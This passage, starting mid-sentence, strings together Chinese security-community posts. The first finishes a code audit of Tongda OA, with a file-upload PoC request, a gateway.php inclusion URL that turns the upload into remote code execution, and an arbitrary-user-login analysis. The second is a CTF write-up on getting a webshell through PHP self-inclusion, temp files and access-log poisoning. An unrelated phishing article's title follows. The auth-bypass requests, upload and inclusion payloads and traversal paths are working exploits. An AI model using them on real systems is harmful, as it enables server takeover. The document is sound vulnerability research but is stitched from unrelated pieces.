、`ispirit/`、`module/`开头，也就是说限制了只能包含当前地址下的指定模块内容。(还是没有控制后缀,这个补法我不是很喜欢的,因为如果有其他漏洞可以穿越上传任意文件，也能利用这个文件上传点，一般这种洞修复可以考虑拼接个后缀`php`,限制只能包含php文件,不过这个可能是系统需要，没深究。)
接着我们需要看一下`$url`是否可控
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
// 这里可以看到$json的key值为url时，其值便赋值给了$url
if ($key == "url") {
$url = $val;
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
}
if (strpos($url, "..") !== false) {
echo _("ERROR URL");
exit();
}
我们继续找找`$json`是否可控
结果发现当前文件,却并没有`$json`的获取方式。
这里由于我们没有通读整个cms，对通达的传参路由是没办法确定的。
这里我可以简单猜测传参方式:
> (1) 其他文件A通过包含这个文件，然后A中有`$json`这个参数的获取方式
>
> (2) 因为这个文件头部有include,所以猜测本文件的开头include的文件会存在`$json`参数的获取。
下面我们可以逐一验证和排除，来确定`$json`是否直接可控。
通过cms的目录结构，我们可以知道`ispirit`OA精灵应该是属于一个独立的模块,通过在模块内
搜索`$json` 或者全局搜索`gateway`并没有发现，有其他文件包含了这个文件。
这里基本可以判定第二种的可能性更大，我们逐一分析这个文件包含进来的文件。
include_once "inc/session.php";
include_once "inc/conn.php";
include_once "inc/utility_org.php";
分析`inc/session.php` 这里直接略过function(因为没有调用),直接看可以执行的代码部分
后面的代码主要是设置一些常量相关的内容，这次再次包含了`/inc/conn.php`,我们顺着分析下去。
`/inc/conn.php`的代码可执行部分又分别包含了以下两个文件
include_once "inc/td_config.php";
include_once "inc/utility.php";
这里我看到`utility.php`大概可以猜到这是一个工具函数文件，所以我先看了这个文件，发现里面果然是封装了比较多的function函数，代码的可执行部分，又重新`include_once
"inc/td_config.php";`,所以我们只要重点分析这个文件即可。
可以发现这个文件首先包含了`inc/common.inc.php`,然后定义了一堆的OA系统的一些配置变量,然后后面也包含了一个类文件，但是没有进行调用,那么我们接下来主要跟进下`common.inc.php`
提取可执行部分的代码
这里按道理来说，是不存在变量的覆盖的。
if (0 < count($_COOKIE)) {
foreach ($_COOKIE as $s_key => $s_value ) {
if (!is_array($s_value)) {
$_COOKIE[$s_key] = addslashes(strip_tags($s_value));
}
$s_key = $_COOKIE[$s_key];
}
reset($_COOKIE);
}
if (0 < count($_POST)) {
$arr_html_fields = array();
foreach ($_POST as $s_key => $s_value ) {
if (substr($s_key, 0, 7) == "_SERVER") {
continue;
}
if (substr($s_key, 0, 15) != "TD_HTML_EDITOR_") {
if (!is_array($s_value)) {
$_POST[$s_key] = addslashes(strip_tags($s_value));
}
$s_key = $_POST[$s_key];
}
else {
if (($s_key == "TD_HTML_EDITOR_FORM_HTML_DATA") || ($s_key == "TD_HTML_EDITOR_PRCS_IN") || ($s_key == "TD_HTML_EDITOR_PRCS_OUT") || ($s_key == "TD_HTML_EDITOR_QTPL_PRCS_SET") || (isset($_POST["ACTION_TYPE"]) && (($_POST["ACTION_TYPE"] == "approve_center") || ($_POST["ACTION_TYPE"] == "workflow") || ($_POST["ACTION_TYPE"] == "sms") || ($_POST["ACTION_TYPE"] == "wiki")) && (($s_key == "CONTENT") || ($s_key == "TD_HTML_EDITOR_CONTENT") || ($s_key == "TD_HTML_EDITOR_TPT_CONTENT")))) {
unset($_POST[$s_key]);
$s_key = ($s_key == "CONTENT" ? $s_key : substr($s_key, 15));
$s_key = addslashes($s_value);
$arr_html_fields[$s_key] = $s_key;
}
else {
$encoding = mb_detect_encoding($s_value, "GBK,UTF-8");
unset($_POST[$s_key]);
$s_key = substr($s_key, 15);
$s_key = addslashes(rich_text_clean($s_value, $encoding));
$arr_html_fields[$s_key] = $s_key;
}
}
}
reset($_POST);
$_POST = array_merge($_POST, $arr_html_fields);
}
if (0 < count($_GET)) {
foreach ($_GET as $s_key => $s_value ) {
if (substr($s_key, 0, 7) == "_SERVER") {
continue;
}
if (!is_array($s_value)) {
$_GET[$s_key] = addslashes(strip_tags($s_value));
}
$s_key = $_GET[$s_key];
}
reset($_GET);
}
unset($s_key);
unset($s_value);
这里我以`$_GET`来分析一下:
if (0 < count($_GET)) {
foreach ($_GET as $s_key => $s_value ) {
if (substr($s_key, 0, 7) == "_SERVER") {
continue;
}
if (!is_array($s_value)) {
$_GET[$s_key] = addslashes(strip_tags($s_value));
}
$s_key = $_GET[$s_key];
}
reset($_GET);
}
这里我就感觉很奇怪这段代码`$s_key =
$_GET[$s_key];`作用,因为这样子就没啥用的，感觉很多余是吧，因为`$_key`会一直被覆盖，只能取最后第一个值，然后发现后面还有一个`unset($s_key)`,所以这段代码是多余的？,按道理来说我感觉这里应该是想写成变量覆盖那种形式的，比如`$$s_key
= $_GET[$s_key];`,这样子的话,`$_GET`获取到的值都可以被注册成变量来调用，所以我当时怀疑是这个解密工具是不是解析错误了。
后面我专门拿`common.inc.php`,去了[php免费在线解密](http://dezend.qiling.org/free.html)
重新解密验证了我的猜想，修正的代码应该是这样。
if (0 < count($_COOKIE)) {
foreach ($_COOKIE as $s_key => $s_value) {
if (!is_array($s_value)) {
$_COOKIE[$s_key] = addslashes(strip_tags($s_value));
}
${$s_key} = $_COOKIE[$s_key];
}
reset($_COOKIE);
}
if (0 < count($_POST)) {
$arr_html_fields = array();
foreach ($_POST as $s_key => $s_value) {
if (substr($s_key, 0, 7) == '_SERVER') {
continue;
}
if (substr($s_key, 0, 15) != 'TD_HTML_EDITOR_') {
if (!is_array($s_value)) {
$_POST[$s_key] = addslashes(strip_tags($s_value));
}
${$s_key} = $_POST[$s_key];
} else {
if ($s_key == 'TD_HTML_EDITOR_FORM_HTML_DATA' || $s_key == 'TD_HTML_EDITOR_PRCS_IN' || $s_key == 'TD_HTML_EDITOR_PRCS_OUT' || $s_key == 'TD_HTML_EDITOR_QTPL_PRCS_SET' || isset($_POST['ACTION_TYPE']) && ($_POST['ACTION_TYPE'] == 'approve_center' || $_POST['ACTION_TYPE'] == 'workflow' || $_POST['ACTION_TYPE'] == 'sms' || $_POST['ACTION_TYPE'] == 'wiki') && ($s_key == 'CONTENT' || $s_key == 'TD_HTML_EDITOR_CONTENT' || $s_key == 'TD_HTML_EDITOR_TPT_CONTENT')) {
unset($_POST[$s_key]);
$s_key = $s_key == 'CONTENT' ? $s_key : substr($s_key, 15);
${$s_key} = addslashes($s_value);
$arr_html_fields[$s_key] = ${$s_key};
} else {
$encoding = mb_detect_encoding($s_value, 'GBK,UTF-8');
unset($_POST[$s_key]);
$s_key = substr($s_key, 15);
${$s_key} = addslashes(rich_text_clean($s_value, $encoding));
$arr_html_fields[$s_key] = ${$s_key};
}
}
}
reset($_POST);
$_POST = array_merge($_POST, $arr_html_fields);
}
if (0 < count($_GET)) {
foreach ($_GET as $s_key => $s_value) {
if (substr($s_key, 0, 7) == '_SERVER') {
continue;
}
if (!is_array($s_value)) {
$_GET[$s_key] = addslashes(strip_tags($s_value));
}
${$s_key} = $_GET[$s_key];
}
reset($_GET);
}
unset($s_key);
unset($s_value);
可以看到`${$s_key} =
$_GET[$s_key];`,这里就是很典型的二次变量覆盖漏洞,由于后面的`$json`变量也没有在下文进行了重新赋值操作，所以我们可以直接通过`$_GET
$_POST`的方式进行该变量的赋值，从而在下文中控制文件包含的路径。
关于二次变量覆盖的原理，这里丢一张图，方便读者去理解。
);`发现禁用了phpinfo,这个坑搞了我有点久,因为静态代码审计没办法通过调试来确定原因。
### 0x4.2 文件上传分析
通过文件差异对比分析，发现很多跟文件上传相关的文件，都只是修改了一个函数名
封装了一个自己写的重命名函数。
不过我们继续看下来的话，还是可以发现里面有个文件(属于存在文件包含漏洞的模块)的改动是很不正常的。
`ispirit/im/upload.php`
可以看到这里很明显是存在bug的，要不然不会这样子，先删掉else的部分，然后强制一定要包含`auth.php`
我们简单跟进下`auth.php`,看下这个文件的作用。
include_once "inc/session.php";
session_start();
session_write_close();
include_once "inc/conn.php";
include_once "inc/utility.php";
ob_start();
if (!isset($_SESSION["LOGIN_USER_ID"]) || ($_SESSION["LOGIN_USER_ID"] == "") || !isset($_SESSION["LOGIN_UID"]) || ($_SESSION["LOGIN_UID"] == "")) {
sleep(1);
if (!isset($_SESSION["LOGIN_USER_ID"]) || ($_SESSION["LOGIN_USER_ID"] == "") || !isset($_SESSION["LOGIN_UID"]) || ($_SESSION["LOGIN_UID"] == "")) {
echo "-ERR " . _("用户未登陆");
exit();
}
}
发现这是一个鉴权的文件，通过`$_SESSION`来判断用户是否登录。
emmm…结合前面的修复代码。
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
ob_start();
include_once "inc/session.php";
session_id($P);
session_start();
session_write_close();
}
else {
include_once "./auth.php";
}
可以看到`$P`这个值，是可以被控制不为空的，从而不加载鉴权文件，导致了绕过。
下面看一下怎么通过这个点来实现文件上传:
$TYPE = $_POST["TYPE"];
$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}
if (strpos($DEST_UID, ",") !== false) {
}
else {
$DEST_UID = intval($DEST_UID);
}
//$DEST_UID = 1
if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}
}
$MODULE = "im";
function td_verify_ids($ids)
{
return !preg_match("/[^0-9,]+/", $ids);
}
首先`td_verify_ids`默认返回true,后面通过控制`$DEST_UID`不等于0,即可绕过当前的判断。
if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == "1") {
if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
$_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
}
}
$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);
if (!is_array($ATTACHMENTS)) {
$dataBack = array("status" => 0, "content" => "-ERR " . $ATTACHMENTS);
echo json_encode(data2utf8($dataBack));
exit();
}
ob_end_clean();
$ATTACHMENT_ID = substr($ATTACHMENTS["ID"], 0, -1);
$ATTACHMENT_NAME = substr($ATTACHMENTS["NAME"], 0, -1);
if ($TYPE == "mobile") {
$ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), "utf-8", MYOA_CHARSET);
}
}
else {
$dataBack = array("status" => 0, "content" => "-ERR " . _("无文件上传"));
echo json_encode(data2utf8($dataBack));
exit();
}
可以进行了文件上传变量的获取，我们需要利用变量覆盖，控制`$UPLOAD_MODE=1`,然后进行一些urldecode文件名对比的操作，之后进入了`upload`函数,返回结果存储在`$ATTACHMENTS`这个变量之中。
$MODULE = "im";
$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);
跟进看一下这个函数的定义:
function upload($PREFIX, $MODULE, $OUTPUT)
{
if (strstr($MODULE, "/") || strstr($MODULE, "\")) {
if (!$OUTPUT) {
return _("参数含有非法字符。");
}
Message(_("错误"), _("参数含有非法字符。"));
exit();
}
$ATTACHMENTS = array("ID" => "", "NAME" => "");
reset($_FILES);
foreach ($_FILES as $KEY => $ATTACHMENT ) {
if (($ATTACHMENT["error"] == 4) || (($KEY != $PREFIX) && (substr($KEY, 0, strlen($PREFIX) + 1) != $PREFIX . "_"))) {
continue;
}
$data_charset = (isset($_GET["data_charset"]) ? $_GET["data_charset"] : (isset($_POST["data_charset"]) ? $_POST["data_charset"] : ""));
$ATTACH_NAME = ($data_charset != "" ? td_iconv($ATTACHMENT["name"], $data_charset, MYOA_CHARSET) : $ATTACHMENT["name"]);
$ATTACH_SIZE = $ATTACHMENT["size"];
$ATTACH_ERROR = $ATTACHMENT["error"];
$ATTACH_FILE = $ATTACHMENT["tmp_name"];
$ERROR_DESC = "";
if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
if (!is_uploadable($ATTACH_NAME)) {
$ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
}
$encode = mb_detect_encoding($ATTACH_NAME, array("ASCII", "UTF-8", "GB2312", "GBK", "BIG5"));
if ($encode != "UTF-8") {
$ATTACH_NAME_UTF8 = mb_convert_encoding($ATTACH_NAME, "utf-8", MYOA_CHARSET);
}
else {
$ATTACH_NAME_UTF8 = $ATTACH_NAME;
}
if (preg_match("/[':<>?]|/|\\|"||/u", $ATTACH_NAME_UTF8)) {
$ERROR_DESC = sprintf(_("文件名[%s]包含[/'":*?<>|]等非法字符"), $ATTACH_NAME);
}
if ($ATTACH_SIZE == 0) {
$ERROR_DESC = sprintf(_("文件[%s]大小为0字节"), $ATTACH_NAME);
}
if ($ERROR_DESC == "") {
$ATTACH_NAME = str_replace("'", "", $ATTACH_NAME);
$ATTACH_ID = add_attach($ATTACH_FILE, $ATTACH_NAME, $MODULE);
if ($ATTACH_ID === false) {
$ERROR_DESC = sprintf(_("文件[%s]上传失败"), $ATTACH_NAME);
}
else {
$ATTACHMENTS["ID"] .= $ATTACH_ID . ",";
$ATTACHMENTS["NAME"] .= $ATTACH_NAME . "*";
}
}
@unlink($ATTACH_FILE);
}
else if ($ATTACH_ERROR == UPLOAD_ERR_INI_SIZE) {
$ERROR_DESC = sprintf(_("文件[%s]的大小超过了系统限制（%s）"), $ATTACH_NAME, ini_get("upload_max_filesize"));
}
else if ($ATTACH_ERROR == UPLOAD_ERR_FORM_SIZE) {
$ERROR_DESC = sprintf(_("文件[%s]的大小超过了表单限制"), $ATTACH_NAME);
}
else if ($ATTACH_ERROR == UPLOAD_ERR_PARTIAL) {
$ERROR_DESC = sprintf(_("文件[%s]上传不完整"), $ATTACH_NAME);
}
else if ($ATTACH_ERROR == UPLOAD_ERR_NO_TMP_DIR) {
$ERROR_DESC = sprintf(_("文件[%s]上传失败：找不到临时文件夹"), $ATTACH_NAME);
}
else if ($ATTACH_ERROR == UPLOAD_ERR_CANT_WRITE) {
$ERROR_DESC = sprintf(_("文件[%s]写入失败"), $ATTACH_NAME);
}
else {
$ERROR_DESC = sprintf(_("未知错误[代码：%s]"), $ATTACH_ERROR);
}
if ($ERROR_DESC != "") {
if (!$OUTPUT) {
delete_attach($ATTACHMENTS["ID"], $ATTACHMENTS["NAME"], $MODULE);
return $ERROR_DESC;
}
else {
Message(_("错误"), $ERROR_DESC);
}
}
}
return $ATTACHMENTS;
}
在进行写入之前，进行了一系列关于后缀、文件名非法字符、文件大小的检查。
`if (!is_uploadable($ATTACH_NAME))` 跟进这个函数`is_uploadable`
function is_uploadable($FILE_NAME)
{
$POS = strrpos($FILE_NAME, ".");
if ($POS === false) {
// 不存在. 的话，直接把文件名当后缀
$EXT_NAME = $FILE_NAME;
}
else {
if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") {
// 这里采用了黑名单的方式,.后3个字符必须为php则直接报错，
return false;
}
$EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));
// 提取了最后一个. + 后面内容作为后缀
}
if (find_id(MYOA_UPLOAD_FORBIDDEN_TYPE, $EXT_NAME)) {
return false;
}
// $UPLOAD_FORBIDDEN_TYPE = "php,php3,php4,php5,phpt,jsp,asp,aspx,";
// 这些也是限制的黑名单
if (MYOA_UPLOAD_LIMIT == 0) {
return true;
}
else if (MYOA_UPLOAD_LIMIT == 1) {
return !find_id(MYOA_UPLOAD_LIMIT_TYPE, $EXT_NAME);
// $UPLOAD_LIMIT_TYPE = "php,php3,php4,php5,";
}
else if (MYOA_UPLOAD_LIMIT == 2) {
return find_id(MYOA_UPLOAD_LIMIT_TYPE, $EXT_NAME);
}
else {
return false;
}
}
不过这里针对apache解析的话其实还是漏了一个phtml,不过当前环境是不解析phtml的。
然后`$ATTACH_ID = add_attach($ATTACH_FILE, $ATTACH_NAME, $MODULE);`
调用`add_attach`函数进行文件的写入。
$ATTACH_PARA_ARRAY = TD::get_cache("SYS_ATTACH_PARA");
$ATTACH_PATH_ACTIVE = $ATTACH_PARA_ARRAY["SYS_ATTACH_PATH_ACTIVE"];
...
$PATH = $ATTACH_PATH_ACTIVE . $MODULE;
if (!file_exists($PATH) || !is_dir($PATH)) {
@mkdir($PATH, 448);
}
$PATH = $PATH . "/" . $YM;
if (!file_exists($PATH) || !is_dir($PATH)) {
@mkdir($PATH, 448);
}
...
$FILENAME = $PATH . "/" . $ATTACH_ID . "." . $ATTACH_FILE;
if (file_exists($FILENAME)) {
$ATTACH_ID = mt_rand();
$FILENAME = $PATH . "/" . $ATTACH_ID . "." . $ATTACH_FILE;
}
...
$ATTACH_ID_NEW = $AID . "@" . $YM . "_" . $ATTACH_ID;
if (is_office($ATTACH_NAME) && ($ATTACH_SIGN != 0)) {
$ATTACH_ID_NEW .= "." . $ATTACH_SIGN;
}
return $ATTACH_ID_NEW;
其中`$PATH`的路径是在`inc/td_config.php`定义好的。
$ATTACH_PATH2 = realpath($ROOT_PATH . "../") . "/attach/";
// 对应 /attach/im/
返回的内容信息对应的含义:
else if ($UPLOAD_MODE == "2") {
$DURATION = intval($_POST["DURATION"]);
$CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
$query = "INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES ('" . $_SESSION["LOGIN_UID"] . "', '" . $CONTENT . "', '" . time() . "')";
$cursor = exequery(TD::conn(), $query);
echo "+OK " . $CONTENT;
}
poc:
POST /ispirit/im/upload.php HTTP/1.1
Host: 10.73.147.46:80
Content-Length: 494
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="P"
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
var_dump(md5(123));
?>
------WebKitFormBoundaryBwVAwV3O4sifyhr3--
生成的地址: `/attach/im/2007/1859500039.jpg`(这个生成文件所在的目录并不是web目录，而是与web同级的)
### 0x4.3 两者结合RCE
http://10.73.147.46/ispirit/interface/gateway.php?json={"url":"ispirit/../../attach/im/2007/1859500039.jpg"}
## 0x5 任意用户登录分析
### 0x5.1 漏洞的背景
这个洞主要是出现扫码登录的时候，关键`codeuid`参数外部泄露，从而可以被构造绕过登录。
### 0x5.2 分析原因
分析这个洞,可以根据上面第四节那样来分析，不过我打算，直接从文件入手(这样分析比前面难度会大一些，需要掌握整体的功能流程)。
首先确定了存在缺陷的文件名:根目录下`logincheck_code.php`
我发现我这个版本解密的结果跟网上好像不太一样。
我这个系统好像根本没有校验`$CODEUID`的值(直接通过UID就可以设置相应的用户Session,一步到位)
后面我我手误点那个通达更新从11.3升级11.4的时候发现就已经校验了。
正好可以发现,主要多了个校验是:
$login_codeuid = TD::get_cache('CODE_LOGIN' . $CODEUID);
if (!isset($login_codeuid) || empty($login_codeuid)) {
$databack = array('status' => 0, 'msg' => _('参数错误！'), 'url' => 'general/index.php?isIE=0');
echo json_encode(td_iconv($databack, MYOA_CHARSET, 'utf-8'));
exit;
}
这里需要满足`isset($login_codeuid) || empty($login_codeuid)`
通过搜索关键字`CODE_LOGIN`
很简单就找到了溢出，设置cache缓存，然后输出缓存中`code_uid`的值的文件`general/login_code.php`
继续回到`logincheck_code.php`,发现后面就是主要是判断一些用户是否正常,是否允许登录。
(Ps.这个图是11.3的，只要一个参数即可。)
然后直接就是根据`$UID`查询USER表中的各个值去设置Session的操作了。
include_once "inc/utility_org.php";
$LOGIN_FUNC_STR = "";
$query1 = "select user_func_id_str from user_function where uid='$UID'";
$cursor1 = exequery(TD::conn(), $query1);
if ($row = mysql_fetch_array($cursor1)) {
$LOGIN_FUNC_STR = $row["user_func_id_str"];
}
$USER_PRIV_OTHER = td_trim($USER_PRIV_OTHER);
$SYS_INTERFACE = TD::get_cache("SYS_INTERFACE");
$THEME_SELECT = $SYS_INTERFACE["THEME_SELECT"];
$THEME = $SYS_INTERFACE["THEME"];
if ($THEME_SELECT == "0") {
$LOGIN_THEME = $THEME;
}
$LOGIN_UID = $UID;
$LOGIN_USER_ID = $USER_ID;
$LOGIN_BYNAME = $BYNAME;
$LOGIN_USER_NAME = $USERNAME;
$LOGIN_ANOTHER = "0";
$LOGIN_USER_PRIV_OTHER = $USER_PRIV_OTHER;
$LOGIN_DEPT_ID_JUNIOR = GetUnionSetOfChildDeptId($LOGIN_DEPT_ID . "," . $LOGIN_DEPT_ID_OTHER);
$LOGIN_CLIENT = 0;
$_SESSION["LOGIN_UID"] = $LOGIN_UID;
$_SESSION["LOGIN_USER_ID"] = $LOGIN_USER_ID;
$_SESSION["LOGIN_BYNAME"] = $LOGIN_BYNAME;
$_SESSION["LOGIN_USER_NAME"] = $LOGIN_USER_NAME;
$_SESSION["LOGIN_USER_PRIV"] = $LOGIN_USER_PRIV;
$_SESSION["LOGIN_USER_PRIV_OTHER"] = $LOGIN_USER_PRIV_OTHER;
$_SESSION["LOGIN_SYS_ADMIN"] = (($LOGIN_USER_PRIV == "1") || find_id($LOGIN_USER_PRIV_OTHER, "1") ? 1 : 0);
$_SESSION["LOGIN_DEPT_ID"] = $LOGIN_DEPT_ID;
$_SESSION["LOGIN_DEPT_ID_OTHER"] = $LOGIN_DEPT_ID_OTHER;
$_SESSION["LOGIN_AVATAR"] = $LOGIN_AVATAR;
$_SESSION["LOGIN_THEME"] = $LOGIN_THEME;
$_SESSION["LOGIN_FUNC_STR"] = $LOGIN_FUNC_STR;
$_SESSION["LOGIN_NOT_VIEW_USER"] = $LOGIN_NOT_VIEW_USER;
$_SESSION["LOGIN_ANOTHER"] = $LOGIN_ANOTHER;
$_SESSION["LOGIN_DEPT_ID_JUNIOR"] = $LOGIN_DEPT_ID_JUNIOR;
$_SESSION["LOGIN_CLIENT"] = $LOGIN_CLIENT;
$_SESSION["LOGIN_USER_SEX"] = $LOGIN_USER_SEX;
$IS_GROUP = 0;
然后我们看一下后台中的校验:
`general/index.php`中`include_once "inc/auth.inc.php";`
判断用户登录主要是取这几个Session数组的值，这些值都可以被上面设置,从而可以绕过这个防护。
## 0x6 总结
通达OA由于系统遗留的全局变量覆盖缺陷，功能点庞大等特性，其历史遗留问题并不容易修补,由此可以衍生非常多的攻击点。比如权限校验的不够统一，每个模块都有一次自己的校验规则，这样子其实很容易出错导致权限绕过，或者利用全局变量覆盖，可以任意调用PHP文件，并控制不同位置的参数，导致一些比如XSS之类的功能等。
共勉:
Baby, try to Audit Latest version next。
## 0x7 参考链接
[通达OA任意用户登陆分析](https://xz.aliyun.com/t/7952)
[通达OA任意文件上传+任意文件包含分析](https://0x20h.com/p/7f23.html) | 社区文章 |
# 利用php自包含特性上传webshell
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
今天做到一题道来自百度杯十二月第四场的ctf题，题目名字叫blog 进阶篇，当时没做出来，看了writeup才知道竟然还有这种骚操作来上传文件进行包含。
writeup链接：<https://blog.csdn.net/qq_30123355/article/details/58165038>
## 0x01 题目复现
题目链接：[https://www.ichunqiu.com/battalion?t=1&r=56951](https://www.ichunqiu.com/battalion?t=1&r=56951)
前面的解题步骤是注册一个账号以后，在post.php页面提交留言内容，这里会有一个insert into注入，可以拿到管理员的密码。
利用管理员账号登录上去以后会有一个文件包含点，在上级目录下有flag文件。
正常的思路就是使用伪协议来包含flag.php文件，但是这里通过kindeditor编辑器的漏洞遍历文件后尝试包含，会发现包含不了php后缀的文件，其他后缀名的文件可以正常包含
所以这里就要用到一个php上传文件的特性再配合上自包含使得php内存溢出的机制来生成一个webshell文件。
## 0x02 php文件上传机制
首先先了解一下php的全局数组$_FILES。
官方的解释：
> 通过 HTTP POST 方式上传到当前脚本的项目的数组。通过使用 PHP 的全局数组 $_FILES，你可以从客户计算机向远程服务器上传文件。
$_FILES 数组提供了多个内容在文件上传时使用，比较重要的有以下几个：
$_FILES['myFile']['name'] 客户端文件的原名称。
$_FILES['myFile']['type'] 文件的 MIME 类型，需要浏览器提供该信息的支持，例如"image/gif"。
$_FILES['myFile']['size'] 已上传文件的大小，单位为字节。
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名，一般是系统默认。可以在php.ini的upload_tmp_dir 指定，默认是/tmp目录。
* 这里的重点就是$_FILES[‘myFile’][‘tmp_name’]这个变量
上传过程中还利用到了一个重要的函数move_uploaded_file()，该方法是将上传的文件移动到新位置，若不加上这一行代码，临时文件在上传周期后就被删除而不会被存储。
move_uploaded_file(file,newloc)
> 本函数检查并确保由 file 指定的文件是合法的上传文件（即通过 PHP 的 HTTP POST 上传机制所上传的）。如果文件合法，则将其移动为由
> newloc 指定的文件。
## 0x03 上传测试
在同一目录下创建两个文件，file_upload.html和upload.php
* file_upload.html
* upload.php
<?php
echo "上传前的文件名: ".$_FILES['upload_file']['name'].'</>';
echo "上传的临时文件名 : ".$_FILES['upload_file']['tmp_name'].'</br>';
echo "文件类型: ".$_FILES['upload_file']['type'].'</br>';
echo "文件大小: ".($_FILES['upload_file']['size']/1024).' KB</br>';
echo move_uploaded_file($_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['name']);
?>
上传以后可以看到，tmp_name的命名规则是php[0-9A-Za-z]{3,4}，而且在上传过程中是被临时存储在/tmp目录下（wamp的环境）下。但是上传完成以后文件会自动被删除，所以在/tmp下找不到这个文件
* 那么我们要如何做到让阻止他将临时文件删除呢？这里就用到了自包含的特性，让存在php文件包含点的文件包含自己，让他产生一个相当于死循环的状态，在包含的过程中我们进行post文件上传操作。
self_include.php?c=self_include.php
这样就会导致内存溢出，无法正常结束一个php上传周期，这时它会清空自己的内存堆栈，以便从错误中恢复过来，这时对临时文件的删除操作就无法完成，当跳出这个周期后，这个临时文件就以后缀名为tmp的形式保存在/tmp目录下。
这时候我们就利用存在包含点的php文件包含这个临时文件就行了。
## 0x04 包含测试
测试环境：apache 2.4.9、php版本5.5.12
1\. 创建两个文件，一个为存在包含点的self_include.php，一个构造的文件上传点
* self_include.php
<?php
include($_GET['c']);
?>
* self_include.html
<html>
<meta charset="utf-8">
<body>
<form name="upload" method="post" enctype="multipart/form-data" action="./self_include.php?c=self_include.php">
File: <input type="file" name="file">
<input type="submit" name="submit">
</form>
</body>
</html>
2\. 我们让他自包含和文件上传同时进行，这里上传一个phpinfo文件。
当我们点击提交以后，发现他报错了
> Maximum function nesting level of ‘100’ reached, aborting!
* 这是因为在我本地装了xdebug插件，它默认只能trace 100条的信息，所以这里在php.ini的xdebug配置下加上一条：
xdebug.max_nesting_level=600
这里测试过大约包含到150次左右程序就会崩溃，就会在tmp目录下生成我们需要的临时文件。
3\. 重启服务器，此时重新包含一次，提交
可以看到这里生成了两个临时文件，说明这里经过了两个上传周期，之后php守护进程无法处理这种情况就会抛出一个无法访问异常。
4\. 之后就可以直接利用包含点，愉快的包含我们上传的文件了
5\. 所以在如果在远程服务器上的php脚本存在文件包含点的话，我们就可以在本地构造一个html文件，action指向他提交过去就行了。
* 就上面那题来说，最后为了找到文件名，用了kindeditor编辑器的目录遍历漏洞来找到临时文件的文件名
payload: /kindeditor/php/file_manager_json.php?path=../../../../tmp/
* 在实战中有其他两种方式可以包含到临时文件：
* 使用爆破的方式找出文件名
最容易爆的是三位数字，所以这里可以多尝试上传几次，直到有三位数字的临时文件生成。
1. 在windows系统下可以使用通配符的方法来包含到临时文件
由于FindFirstFile的特性，在不确定文件后面字符的情况下，可以使用<<结尾来匹配到这个文件，类似于*。
http://localhost:9000/upload/self_include.php?c=../tmp/php<<
## 0x05 脑洞大开
就这题来说还有种包含文件getshell的解法，就是包含日志文件
> 访问一个不存在的文件时，会在服务器下的/log/access.log进行记录，我们可以通过url写入一个一句话来包含日志文件，从而getshell
1\. 首先访问<http://localhost:9000/><?php phpinfo();?>，记得这里需要使用bp来发包。
2\. 可以看到access.log文件记录下了我们访问的url。
3\. 进行文件包含，成功包含了phpinfo文件。
http://localhost:9000/upload/self_include.php?c=../logs/access.log
## 0x06 总结
这里整个过程需要利用到的点
1. 可控的文件包含点。
2. 目录遍历漏洞。（查看临时文件名）
## 重新梳理一下思路
1. 构造一个文件上传点，以post的方式、表单上传（multipart/form-data）的方式上传。
2. action的url指向存在文件包含漏洞的php文件，接收的参数为自身文件名（self_include.php?c=self_include.php）。
3. self_include.php进行自文件包含的处理，不断包含自身造成内存溢出。
4. php守护进程发出内存溢出信号，清空缓冲区和调用堆栈，以便接收新的请求。
5. 一次上传周期未正常结束，/tmp目录下的临时上传文件得以保留。
6. 包含到/tmp目录下的文件，拿到webshell。 | 社区文章 |
# 不法分子借疫情发送钓鱼短信，安全专家揭秘钓鱼网址攻防手法
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
